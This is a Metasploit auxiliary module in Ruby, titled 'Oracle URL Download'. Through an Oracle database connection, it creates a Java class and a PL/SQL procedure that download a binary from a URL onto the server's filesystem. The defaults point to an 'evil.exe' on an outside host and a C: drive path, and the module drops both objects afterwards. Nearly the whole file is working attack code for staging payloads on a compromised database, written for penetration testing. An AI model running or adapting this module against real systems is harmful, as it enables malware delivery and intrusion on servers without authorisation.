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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::ORACLE
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle URL Download',
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      'Description'    => %q{
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          This module will create a java class which enables the download
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        of a binary from a webserver to the oracle filesystem.
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      },
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      'Author'         => [ 'CG' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'http://www.argeniss.com/research/oraclesqlinj.zip' ],
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        ],
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      'DisclosureDate' => '2005-02-10'))
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      register_options(
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        [
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          OptString.new('URL', [ false, 'The URL to download the binary from.',  'http://www.meh.com/evil.exe']),
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          OptString.new('COPYTO', [ false, 'Location to copy the binary to',  'c:\\meh.exe']),
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        ])
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  end
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  def run
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    return if not check_dependencies
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    java = <<-EOF
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CREATE OR REPLACE JAVA SOURCE NAMED SRC_FILE_UPLOAD AS
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import java.lang.*;
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import java.io.*;
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public class FileUpload
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{
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  public static void fileUpload(String myFile, String url) throws IOException
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  {
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    File binaryFile = new File(myFile);
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    FileOutputStream outStream = new  FileOutputStream(binaryFile);
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    java.net.URL u = new java.net.URL(url);
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    java.net.URLConnection uc = u.openConnection();
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    InputStream is = (InputStream)uc.getInputStream();
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    BufferedReader in = new BufferedReader (new InputStreamReader (is));
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    byte buffer[] = new byte[1024];
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    int length = -1;
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    while ((length = is.read(buffer)) != -1) {
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      outStream.write(buffer, 0, length);
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      outStream.flush();
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    }
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    is.close(); outStream.close();
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  }
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};;
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EOF
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    procedure = <<-EOF
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CREATE OR REPLACE PROCEDURE PROC_FILEUPLOAD (p_file varchar2, p_url varchar2)
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as language java
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NAME 'FileUpload.fileUpload (java.lang.String, java.lang.String)';
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EOF
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    exec      = "begin PROC_FILEUPLOAD ('#{datastore['COPYTO']}', '#{datastore['URL']}'); end;"
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    drops     = "drop java source SRC_FILE_UPLOAD"
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    dropp     = "drop procedure PROC_FILEUPLOAD"
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    begin
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      print_status("Creating java source 'SRC_FILE_UPLOAD'...")
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      prepare_exec(java)
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    rescue => e
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      return
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    end
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    print_status("Creating procedure 'PROC_FILEUPLOAD'...")
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    prepare_exec(procedure)
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    print_status("Trying to download binary from #{datastore['URL']} to #{datastore['COPYTO']}")
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    prepare_exec(exec)
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    print_status("Removing java source 'SRC_FILE_UPLOAD'...")
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    prepare_exec(drops)
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    print_status("Removing procedure 'PROC_FILEUPLOAD'...")
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    prepare_exec(dropp)
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  end
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end
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